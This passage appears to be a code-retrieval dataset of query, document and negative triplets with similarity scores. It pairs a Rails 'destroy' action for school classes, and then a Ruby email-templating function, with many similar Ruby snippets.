def destroy @schoolclass = Schoolclass.find(params[:id]) @schoolclass.destroy respond_to do |format| format.html { redirect_to schoolclasses_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @school_class = SchoolClass.find(params[:id])\n @school_class.destroy\n\n respond_to do |format|\n format.html { redirect_to school_classes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_class.destroy\n respond_to do |format|\n format.html { redirect_to my_schools_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_class.destroy\n respond_to do |format|\n format.html { redirect_to school_classes_url, notice: 'School class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_class.destroy\n respond_to do |format|\n format.html { redirect_to school_classes_url, notice: 'School class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school = School.find(params[:id])\n @school.destroy\n\n respond_to do |format|\n format.html { redirect_to cms_schools_url }\n format.json { head :ok }\n end\n end", "def destroy\n @class_student.destroy\n respond_to do |format|\n format.html { redirect_to class_students_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @education_class.destroy\n respond_to do |format|\n format.html { redirect_to education_classes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @student_class.destroy\n respond_to do |format|\n format.html { redirect_to student_classes_url, notice: \"Student class was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @school = School.find(params[:id])\n @school.destroy\n\n respond_to do |format|\n format.html { redirect_to schools_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @school = School.find(params[:id])\n @school.destroy\n\n respond_to do |format|\n format.html { redirect_to schools_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_type.destroy\n respond_to do |format|\n format.html { redirect_to school_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to schools_url, notice: 'School deletion successful.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to schools_url, notice: 'School was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @code_club_school.destroy\n respond_to do |format|\n format.html { redirect_to code_club_schools_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @classtable = Classtable.find(params[:id])\n @classtable.destroy\n\n respond_to do |format|\n format.html { redirect_to classtables_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to schools_url, notice: 'School was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to schools_url, notice: 'School was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to schools_url, notice: 'School was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to schools_url, notice: 'School was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @districtclass = Districtclass.find(params[:id])\n @districtclass.destroy\n\n respond_to do |format|\n format.html { redirect_to districtclasses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @clclass = Clclass.find(params[:id])\n @clclass.destroy\n\n respond_to do |format|\n format.html { redirect_to clclasses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_setup = SchoolSetup.find(params[:id])\n @school_setup.destroy\n\n respond_to do |format|\n format.html { redirect_to school_setups_url }\n format.json { head :ok }\n end\n end", "def destroy\n @school.destroy\n\n respond_to do |format|\n format.html { redirect_to(schools_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @s_class.destroy\n respond_to do |format|\n format.html { redirect_to s_classes_url, notice: 'S class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @high_school.destroy\n respond_to do |format|\n format.html { redirect_to high_schools_url, notice: 'High school was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @high_school.destroy\n respond_to do |format|\n format.html { redirect_to high_schools_url, notice: 'High school was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @test_class = TestClass.find(params[:id])\n @test_class.destroy\n\n respond_to do |format|\n format.html { redirect_to test_classes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_classroom.destroy\n respond_to do |format|\n format.html { redirect_to admin_school_classrooms_url(@admin_school), notice: \"Classroom was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @class = Classe.find(params[:id])\n @class.destroy\n\n respond_to do |format|\n format.html { redirect_to classes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @classs.destroy\n respond_to do |format|\n format.html { redirect_to classses_url, notice: 'Classs was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cms_school.destroy\n respond_to do |format|\n format.html { redirect_to cms_schools_url, notice: 'School was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school = School.find(params[:id])\n @school.destroy\n\n respond_to do |format|\n format.html { redirect_to(schools_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @classessection.destroy\n respond_to do |format|\n format.html { redirect_to classessections_url, notice: 'Classessection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @classwork.destroy\n respond_to do |format|\n format.html { redirect_to classworks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @inschool = Inschool.find(params[:id])\n @inschool.destroy\n\n respond_to do |format|\n format.html { redirect_to inschools_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to establishments_url, notice: 'La sede y todos sus estudiantes han sido borrados' }\n format.json { head :no_content }\n end\n end", "def destroy\n @classcourse.destroy\n respond_to do |format|\n format.html { redirect_to classcourses_url, notice: 'Classcourse was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subject_class.destroy\n respond_to do |format|\n format.html { redirect_to subject_classes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @classroom.students.destroy_all\n @classroom.destroy\n respond_to do |format|\n format.html { redirect_to current_user.teacher, notice: 'Classroom was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to city_schools_path(@city), notice: \"School was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @teacher_class.destroy\n respond_to do |format|\n format.html { redirect_to teacher_classes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @myclass = Myclass.find(params[:id])\n @myclass.destroy\n\n respond_to do |format|\n format.html { redirect_to myclasses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n gclass = Gclass.findClassIdByStudent params[:id]\n @stu = Student.destroy_student params[:id]\n redirect_to \"/gclasses/#{gclass}\", notice: \"Student destroyed.\"\n end", "def destroy\n @firstclass.destroy\n respond_to do |format|\n format.html { redirect_to firstclasses_url, notice: 'Firstclass was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sob_class.destroy\n respond_to do |format|\n format.html { redirect_to sob_classes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @class_group_enrollment = ClassGroupEnrollment.find(params[:id])\n @class_group_enrollment.destroy\n\n respond_to do |format|\n format.html { redirect_to class_group_enrollments_url }\n format.json { head :ok }\n end\n end", "def destroy\n @undergraduate_major = UndergraduateMajor.find(params[:id])\n @undergraduate_major.destroy\n\n respond_to do |format|\n format.html { redirect_to undergraduate_majors_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @discipleship_class.destroy\n respond_to do |format|\n format.html { redirect_to discipleship_classes_url, notice: 'Discipleship class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @student_major = StudentMajor.find(params[:id])\n @student_major.destroy\n\n respond_to do |format|\n format.html { redirect_to student_majors_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @classroom = Classroom.find(params[:id])\n @classroom.destroy\n\n respond_to do |format|\n format.html { redirect_to classrooms_url }\n format.json { head :no_content }\n end\n end", "def destroy\n get_school\n @school_request = @school.requests.find(params[:id])\n @school_request.destroy\n end", "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to @student.school, notice: 'Student deletion successful.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_module.destroy\n respond_to do |format|\n format.html { redirect_to school_modules_url, notice: 'School module was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @class_detail.destroy\n respond_to do |format|\n format.html { redirect_to class_details_url, notice: 'Class detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @registration_klass.destroy\n respond_to do |format|\n format.html { redirect_to school_registration_klasses_path(@school), notice: 'Class was successfully destroyed.' }\n format.json { head :no_content }\n format.js { }\n end\n end", "def destroy\n @school_info.destroy\n respond_to do |format|\n format.html { redirect_to school_infos_url, notice: 'School info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school.destroy\n end", "def destroy\n @risk_classification = RiskClassification.find(params[:id])\n @risk_classification.destroy\n\n respond_to do |format|\n format.html { redirect_to risk_classifications_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @klass.destroy\n respond_to do |format|\n format.html { redirect_to klasses_url, notice: 'Class was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school.destroy\n respond_to do |format|\n format.html { redirect_to schools_url, notice: 'School was successfully deactivated/destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @detail_class.destroy\n respond_to do |format|\n format.html { redirect_to detail_classes_url, notice: 'Detail class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @classe = Classe.find(params[:id])\n @classe.destroy\n\n respond_to do |format|\n format.html { redirect_to classi_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_class = SchoolClass.find(params[:id])\n if @school_class.destroy\n respond_to do |format|\n format.html { redirect_to school_classes_url, :notice => 'Turma excluida com sucesso.' }\n format.json { head :no_content }\n end\n else\n error_message = \"\"\n respond_to do |format|\n @school_class.errors[:base].each do |error|\n error_message += \"<li>#{error}</li>\"\n end\n format.html { redirect_to request.referer, :alert => error_message}\n format.json { render :json => @school_class.errors, :status => :unprocessable_entity }\n end\n end\n end", "def destroy\n @klass.destroy\n respond_to do |format|\n format.html { redirect_to management_klasses_url, notice: 'Class was successfully removed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @discipline_class_exam_type = DisciplineClassExamType.find(params[:id])\n @discipline_class_exam_type.destroy\n\n respond_to do |format|\n format.html { redirect_to discipline_class_exam_types_url, :notice => 'Tipo de Exame de Classe de Disciplina excluída com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @clasification.destroy\n respond_to do |format|\n format.html { redirect_to clasifications_url, notice: \"Clasification was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @schoolb.destroy\n end", "def destroy\n @student = Student.find(params[:student_id])\n @inschool = Inschool.find(params[:id])\n @inschool.destroy\n\n respond_to do |format|\n format.html { redirect_to student_url(@student) }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_business.destroy\n respond_to do |format|\n format.html { redirect_to school_businesses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @graduating_class.destroy\n respond_to do |format|\n format.html { redirect_to graduating_classes_url, notice: 'Graduating class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @classpersonscore.destroy\n respond_to do |format|\n format.html { redirect_to classpersonscores_url, notice: 'Classpersonscore was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @student_site.destroy\n respond_to do |format|\n format.html { redirect_to student_sites_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @staffclassification = Staffclassification.find(params[:id])\n @staffclassification.destroy\n\n respond_to do |format|\n format.html { redirect_to(staffclassifications_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @siseasclass.destroy\n respond_to do |format|\n format.html { redirect_to siseasclasses_url, notice: 'Siseasclass was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gymclass.destroy\n respond_to do |format|\n format.html { redirect_to gymclasses_url, notice: 'Gymclass was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @data_class.destroy\n respond_to do |format|\n format.html { redirect_to data_classes_url, notice: 'Data class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @request_class_lab.destroy\n respond_to do |format|\n format.html { redirect_to request_class_labs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_rec = SchoolRec.find(params[:id])\n @school_rec.destroy\n\n respond_to do |format|\n format.html { redirect_to(school_recs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to manage_school_school_path(@school), notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @classification = Classification.find(params[:id])\n @classification.destroy\n\n respond_to do |format|\n format.html { redirect_to classifications_url, notice: t('controller.successfully_deleted', model: t('activerecord.models.classification')) }\n format.json { head :no_content }\n end\n end", "def destroy\n @classes = ClassroomTiming.find(params[:id])\n @classes.destroy\n flash[:success] = \"Deleted class Successfully\" \n redirect_to class_index_path\nend", "def destroy\n @tournament = @school.tournament\n @school.destroy\n respond_to do |format|\n format.html { redirect_to @tournament }\n format.json { head :no_content }\n end\n end", "def destroy\n @crew_class.destroy\n respond_to do |format|\n format.html { redirect_to crew_classes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @citizenship_class = @grantee.citizenship_classes.find(params[:id])\n @citizenship_class.destroy\n\n respond_to do |format|\n format.html { redirect_to grantee_path(@grantee) }\n format.json { head :no_content }\n end\n end", "def destroy\n @class_test.destroy\n respond_to do |format|\n format.html { redirect_to class_tests_url, notice: 'Class test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @risk_class = RiskClass.find(params[:id])\n @risk_class.destroy\n\n respond_to do |format|\n format.html { redirect_to(risk_classes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @class = Class.find(params[:id])\n @class.destroy\n\n respond_to do |format|\n format.html { redirect_to(classes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @gg_classlist.destroy\n respond_to do |format|\n format.html { redirect_to gg_classlists_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @after_school_program.destroy\n respond_to do |format|\n format.html { redirect_to after_school_programs_url, notice: 'After school program was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @trainclass.destroy\n respond_to do |format|\n format.html { redirect_to trainclasses_url, notice: 'Trainclass was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @classroom.destroy\n respond_to do |format|\n format.html { redirect_to classrooms_url, notice: 'Classroom was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @student1 = Student1.find(params[:id])\r\n @student1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to student1s_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @class_sheet.destroy\n respond_to do |format|\n format.html { redirect_to class_sheets_url, notice: 'Class sheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @student.delete\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @classroom = classroom.find(params[:id])\n @classroom.destroy\n\n head :no_content\n end", "def destroy\n @schoolyear.destroy\n respond_to do |format|\n format.html { redirect_to schoolyears_url, notice: 'Schoolyear was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_rating = SchoolRating.find(params[:id])\n @school_rating.destroy\n\n respond_to do |format|\n format.html { redirect_to school_ratings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @classroom = @course.classrooms.find(params[:id])\n @classroom.destroy\n\n respond_to do |format|\n format.html { redirect_to(course_classrooms_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @student_test = StudentTest.find(params[:id])\n @student_test.destroy\n\n respond_to do |format|\n format.html { redirect_to student_tests_url }\n format.json { head :ok }\n end\n end", "def destroy\n @enrollment = Enrollment.shard_for( params[:classroom_id] ).find(params[:id])\n @enrollment.destroy\n\n respond_to do |format|\n format.html { redirect_to enrollments_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.8061161", "0.79784995", "0.7889176", "0.7889176", "0.73943055", "0.7377076", "0.73629004", "0.7356273", "0.735389", "0.735389", "0.7290641", "0.7275605", "0.7273691", "0.7221712", "0.7167595", "0.7156748", "0.7156748", "0.7156748", "0.7156748", "0.7135215", "0.71255416", "0.7103194", "0.7073382", "0.70650584", "0.7062318", "0.7062318", "0.7059066", "0.7051793", "0.7050909", "0.7036338", "0.70329285", "0.70292103", "0.7017688", "0.70051664", "0.6996335", "0.69668984", "0.6959836", "0.6955753", "0.69550174", "0.69364166", "0.69266707", "0.69225067", "0.6913887", "0.6908506", "0.6896731", "0.6894944", "0.6889641", "0.6889247", "0.6885921", "0.68848294", "0.688375", "0.68744093", "0.6871679", "0.6868656", "0.6865658", "0.68515855", "0.68307006", "0.6830444", "0.68155205", "0.6814048", "0.6808114", "0.6806317", "0.6797343", "0.6795603", "0.6784373", "0.67811435", "0.6778825", "0.6772211", "0.676696", "0.6766425", "0.6763285", "0.6758454", "0.6752126", "0.67518955", "0.6751766", "0.6747947", "0.67479444", "0.67472273", "0.6746265", "0.67388415", "0.67319405", "0.67317027", "0.672584", "0.67214173", "0.67140406", "0.67129666", "0.6712277", "0.6708702", "0.6704316", "0.67002827", "0.6698002", "0.6695182", "0.66936004", "0.66913927", "0.6687268", "0.6682035", "0.6676361", "0.6673023", "0.6669269", "0.6667709" ]
0.80867434
0
FUNCTIONS SECTION FUNCTION: section_looper PURPOSE: Iterate the process on all sections PARAMETERS: email_body: Get content of the email to generate RETURNS: /
def section_looper(email_body) section = [:first_section, :second_section, :third_section] section.each do |section| type_looper(email_body, section) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def type_looper(email_body, section)\n type = [:new_features, :improvements, :tasks, :bugs]\n \n type.each do |cType|\n tickets_looper(email_body, section, email_body[section][cType][:type], email_body[section][:file], email_body[section][:statuses], email_body[section][cType][:tickets], email_body[section][cType])\n end\nend", "def sections(*args); end", "def each_part(parts, header = false) # :yields: uid, message\n parts.each do |uid, section|\n sequence = [\"BODY[#{section}]\"]\n sequence.unshift \"BODY[#{section}.MIME]\" unless section == 'TEXT'\n sequence.unshift 'BODY[HEADER]' if header\n\n body = imap.fetch(uid, sequence).first\n\n sequence = sequence.map { |item| body.attr[item] }\n\n unless section == 'TEXT' and header then\n sequence[0].sub!(/\\r\\n\\z/, '')\n end\n\n yield uid, sequence.join\n end\n end", "def list_sections\n \n end", "def tickets_looper(email_body, section, type, file, statuses, tickets, ticket_details)\n i = 0\n\n File.open(file).readlines.each do |cLine|\n # Check if the file has been added\n if cLine.include?(type) && statuses.inject(false) { |memo, status| cLine.downcase.include?(status.downcase) || memo }\n unless $tickets_list.include?(cLine.split(\"\\t\")[1]) || $tickets_list.include?(cLine.split(\"\\t\")[1] + \" <span style='color: #FF6A77'>⇨ \" + cLine.split(\"\\t\")[4] + \"</span>\")\n if cLine.split(\"\\t\")[4].downcase == \"done\"\n tickets << cLine.split(\"\\t\")[1]\n else\n tickets << cLine.split(\"\\t\")[1] + \" <span style='color: #FF6A77'>⇨ \" + cLine.split(\"\\t\")[4] + \"</span>\"\n end\n\n i = i + 1\n end\n end\n end\n\n if i > 0\n $tickets_list = tickets + ($tickets_list - tickets)\n ticket_details[:nb_tickets] = i\n end\nend", "def receive_inbound_email_from_mail(**kwargs, &block); end", "def get_body_for_html_display(collapse_quoted_sections = true)\n # Find the body text and remove emails for privacy/anti-spam reasons\n text = get_main_body_text\n self.mask_special_emails!(text)\n self.remove_privacy_sensitive_things!(text)\n\n # Remove quoted sections, adding HTML. XXX The FOLDED_QUOTED_SECTION is\n # a nasty hack so we can escape other HTML before adding the unfold\n # links, without escaping them. Rather than using some proper parser\n # making a tree structure (I don't know of one that is to hand, that\n # works well in this kind of situation, such as with regexps).\n folded_quoted_text = self.remove_lotus_quoting(text, 'FOLDED_QUOTED_SECTION')\n folded_quoted_text = IncomingMessage.remove_quoted_sections(folded_quoted_text, 'FOLDED_QUOTED_SECTION')\n if collapse_quoted_sections\n text = folded_quoted_text\n end\n text = MySociety::Format.simplify_angle_bracketed_urls(text)\n text = CGI.escapeHTML(text)\n text = MySociety::Format.make_clickable(text, :contract => 1)\n text.gsub!(/\\[(email address|mobile number)\\]/, '[<a href=\"/help/about#mobiles\">\\1</a>]')\n if collapse_quoted_sections\n text = text.gsub(/(\\s*FOLDED_QUOTED_SECTION\\s*)+/m, \"FOLDED_QUOTED_SECTION\")\n text.strip!\n # if there is nothing but quoted stuff, then show the subject\n if text == \"FOLDED_QUOTED_SECTION\"\n text = \"[Subject only] \" + CGI.escapeHTML(self.mail.subject) + text\n end\n # and display link for quoted stuff\n text = text.gsub(/FOLDED_QUOTED_SECTION/, \"\\n\\n\" + '<span class=\"unfold_link\"><a href=\"?unfold=1#incoming-'+self.id.to_s+'\">show quoted sections</a></span>' + \"\\n\\n\")\n else\n if folded_quoted_text.include?('FOLDED_QUOTED_SECTION')\n text = text + \"\\n\\n\" + '<span class=\"unfold_link\"><a href=\"?#incoming-'+self.id.to_s+'\">hide quoted sections</a></span>'\n end\n end\n text.strip!\n\n text = text.gsub(/\\n/, '<br>')\n text = text.gsub(/(?:<br>\\s*){2,}/, '<br><br>') # remove excess linebreaks that unnecessarily space it out\n return text\n end", "def processSection1(section)\n string = '';\n buffer_array = [];\n text = section.inner_html;\n text.split('<br>').each do |info|\n data = info.split(':')[1].strip().delete(','); #Extract data leaving out tags\n string += ',';\n string += data;\n end\n return string;\nend", "def parse(mail)\n @mail = mail\n post = []\n body = \"\"\n if !mail.body.parts.empty?\n get_textual_body_io.each_line do |line|\n if line.match(/^\\s*\\/\\/ /)\n post << line.gsub(/^\\s*\\/\\/ /, \"\").chomp if post.length == 0\n post << mail.date.to_date if post.length == 1\n post << body if post.length == 2 && body.length > 0\n if post.length == 3\n yield post\n post = []\n body = \"\"\n post << line.gsub(/^\\s*\\/\\/ /, \"\").chomp\n end\n else\n body << line.gsub(/\\n/, \"\")\n end\n end # end each_line\n post << body\n yield post if post.length == 3\n end # end if\n end", "def each_section(&block)\n while (section = next_section)\n block.call(section) if block\n end\n\n return self\n end", "def process( resume, options = {} )\n text = \"\"\n text += process_personal( resume[\"personal\"] )\n text += process_experience( resume[\"experience\"] )\n text += process_skills( resume[\"skills\"] )\n text += process_education( resume[\"education\"] )\n text += process_hobbies( resume[\"hobbies\"] )\n text += process_footer( resume[\"footer\"] )\n\n return text\n end", "def each_section\n @sections.each_value do | section |\n yield( section )\n end\n end", "def send_gmail_to_listing(worksheet_key)\n\n\n# first we connect to gmail with the $gmail variable (where our logs are stored)\n\t$gmail\n\t\n#we go through each email adresse \n\t\t\t\t# send we send (deliver) an email with subject + body\n\n\tgo_through_all_the_lines(worksheet_key).each do |email|\n\t\t$gmail.deliver do\n to email\n subject \"The Hacking Project\" # write your subject here\n \ttext_part do \n \t\tbody \"je suis élève à une formation de code gratuite, ouverte à tous, sans restriction géographique, ni restriction de niveau. La formation s'appelle The Hacking Project (http://thehackingproject.org/). Nous apprenons l'informatique via la méthode du peer-learning : nous faisons des projets concrets qui nous sont assignés tous les jours, sur lesquel nous planchons en petites équipes autonomes. Le projet du jour est d'envoyer des emails à nos élus locaux pour qu'ils nous aident à faire de The Hacking Project un nouveau format d'éducation gratuite.\n\nNous vous contactons pour vous parler du projet, et vous dire que vous pouvez ouvrir une cellule à {townhall_name}, où vous pouvez former gratuitement 6 personnes (ou plus), qu'elles soient débutantes, ou confirmées. Le modèle d'éducation de The Hacking Project n'a pas de limite en terme de nombre de moussaillons (c'est comme cela que l'on appelle les élèves), donc nous serions ravis de travailler avec {townhall_name} !\n\nCharles, co-fondateur de The Hacking Project pourra répondre à toutes vos questions : 06.95.46.60.80 \" #write your message here\n\t\t\tcontent_type 'text/plain; charset=UTF-8'\n \tend\n end\n\n\n end\n\nend", "def create_get_all_sections(section_class, element_name, *find_args)\n method_name = \"get_all_#{element_name}\"\n create_helper_method(method_name, *find_args) do\n define_method(method_name) do |*runtime_args|\n args = merge_args(find_args, runtime_args)\n wait_until_get_not_empty(*args).map do |element|\n section_class.new(self, element)\n end\n end\n end\n end", "def section(params={}, &block)\n top = params[:top] || 0\n bottom = params[:bottom] || 0\n\n # the first section cannot take a newline\n top = 0 unless @margin\n @margin = [top, @margin || 0].max\n\n separate_blocks if params[:now]\n value = block.call\n\n say \"\\n\" if @last_line_open\n @margin = [bottom, @margin].max\n\n value\n end", "def sections\n @body.xpath('.//a:section', a: NS)\n end", "def section(key)\n return unless (xpath = SECTIONS_XPATH[key])\n\n doc = html_body.xpath(xpath)\n\n return '' unless doc.any?\n\n @fragment_section = Nokogiri::HTML(doc.to_html)\n\n mutate_apprenticeship_content if key == :apprenticeship\n mutate_html_body_for(key)\n\n strip_links(@fragment_section.to_html).html_safe\n end", "def read_emails(folder,keyword,atrans,acftrans)\r\n view = framework.threads.spawn(\"ButtonClicker\", false) {\r\n click_button(atrans,acftrans)\r\n }\r\n command = \"Get-Emails \\\"#{keyword}\\\" \\\"#{folder}\\\"\"\r\n execute_outlook_script(command)\r\n end", "def get_the_email_html(nline)\n\trecipient = @ws[nline, 1].to_s\n\t$mailsubject = \"A l'attention de la mairie de #{recipient}\"\n\t$html_content = \"<p> <b> A l'attention de la mairie de #{recipient} </b> </p>\n<p>Bonjour, </p>\n<p>Je m'appelle Thomas, je suis élève à une formation de code gratuite, ouverte à tous, sans restriction géographique, ni restriction de niveau. La formation s'appelle The Hacking Project (http://thehackingproject.org/). Nous apprenons l'informatique via la méthode du peer-learning : nous faisons des projets concrets qui nous sont assignés tous les jours, sur lesquel nous planchons en petites équipes autonomes. Le projet du jour est d'envoyer des emails à nos élus locaux pour qu'ils nous aident à faire de The Hacking Project un nouveau format d'éducation gratuite.\nNous vous contactons pour vous parler du projet, et vous dire que vous pouvez ouvrir une cellule à #{recipient}, où vous pouvez former gratuitement 6 personnes (ou plus), qu'elles soient débutantes, ou confirmées. Le modèle d'éducation de The Hacking Project n'a pas de limite en terme de nombre de moussaillons (c'est comme cela que l'on appelle les élèves), donc nous serions ravis de travailler avec #{recipient} ! </p>\n<p> Yann, Moussaillon de The Hacking Project</p>\" \n\nend", "def send_gmail_to_listing(username, password, subject_text, worksheet_key, html_path, image_path)\n # Connect to gmail and puts\n # username and password are parameters you will input as argument on command line\n gmail = Gmail.connect(username, password)\n puts \"Gmail login\"\n\n # Call the go_through_all_the_lines function wich returns all the emails in an array\n email_listing = go_through_all_the_lines(worksheet_key)\n\n # Iterate through all the emails\n email_listing.each do |email|\n # For each email send mail to email\n gmail.deliver do\n to email\n # subject_text variable is a parameter you will input as argument on command line\n subject subject_text\n # Send the content in the email as html\n html_part do\n content_type 'text/html; charset=UTF-8'\n # Call the get_email_html function to get the body content\n body get_email_html(html_path)\n end\n # Call the get_email_image function to add an image to the email\n add_file get_email_image(image_path)\n end\n # Puts a message on console when the email is successfully sent\n puts \"Email successfully sent to #{email}\"\n end\n # Call the save_to_file function to save the output in a text file\n save_to_file(email_listing)\n # Log out of gmail and puts\n gmail.logout\n puts \"Gmail logout script finished\"\n\nend", "def carving_and_marking_part_4_email_body\n %(<div>VESSEL NAME: #{@submission.vessel}</div>\n <div>Please find enclosed the Carving and Marking Note for the above vessel.\n <br><br>A Commercial Bareboat Charter Carving and Marking Note must be\n signed by an Inspector of Marks/Authorised Measurer\n\n <br><br>Regulation 35 of the Merchant Shipping (Registration of Ships)\n Regulations 1993 states that a carving and marking note should be\n returned completed to the Registrar within three months.\n\n <br><br>[FREE TEXT]\n <br><br>We also require the following documents:\n <br><br>[FREE TEXT]\n <br><br>The documents can be emailed to:\n Commercial vessels: comm.registry@mcga.gov.uk\n <br><br>\n Alternatively, please post to:\n MCA\n Anchor Court\n Keen Road\n Cardiff\n CF24 5JW\n\n <br><br>\n Please do not hesitate to contact us you require any further assistance.\n </div>)\n end", "def carving_and_marking_part_2_email_body\n %(<div>VESSEL NAME: #{@submission.vessel}</div>\n <div>Please find enclosed the Carving and Marking Note for the above vessel.\n <br><br>Please arrange for an MCA surveyor or Authorised Surveyor/Inspector\n of Marks to certify that the Carving and Markings are correct and return\n the form to this office.\n <br><br>Regulation 35 of the Merchant Shipping (Registration of Ships)\n Regulations 1993 states that a carving and marking note should be\n returned to the Registrar within three months.\n <br><br>We also require the following documents:\n\n <br>• Certificate of Measurement/Survey – Completed by a\n MCA Surveyor/Authorised Surveyor\n <br>• Valid Safety Certificate – Completed by a\n MCA surveyor\n <br>• [ITC 69 issued by Authorised Measurer] –\n [delete if not required (for over 24m only)]\n\n <br><br>\n Please do not hesitate to contact us you require any further assistance.\n </div>)\n end", "def end_section\n end", "def email(body)\n message = <<EOM\nFrom: #{FROM}\nTo: #{TO}\nDate: #{NOW.rfc822}\nMessage-Id: #{SecureRandom.uuid}@redhat.com\nSubject: Unassigned upcoming maintenances\n\nRegion Leads - please arrange coverage for these maintenances immediately:\n\n#{body}\n\n---\nThis message has been sent by the Unassigned Maintenance Broadcast System.\nThis utility runs in the #{NAMESPACE} namespace on #{CLUSTER}.\nThe source code for this utility can be found at #{REPO}.\nEOM\n\n Net::SMTP.start('smtp.corp.redhat.com', 25, FROM) do |smtp|\n smtp.send_message message, FROM, TO\n end\nend", "def populate_items_and_sections\n RAILS_DEFAULT_LOGGER.info \"_S__Project________populate_items_and_sections________________#{Time.now}____\"\n RAILS_DEFAULT_LOGGER.info \"Project (id, #{self.id}), (name, 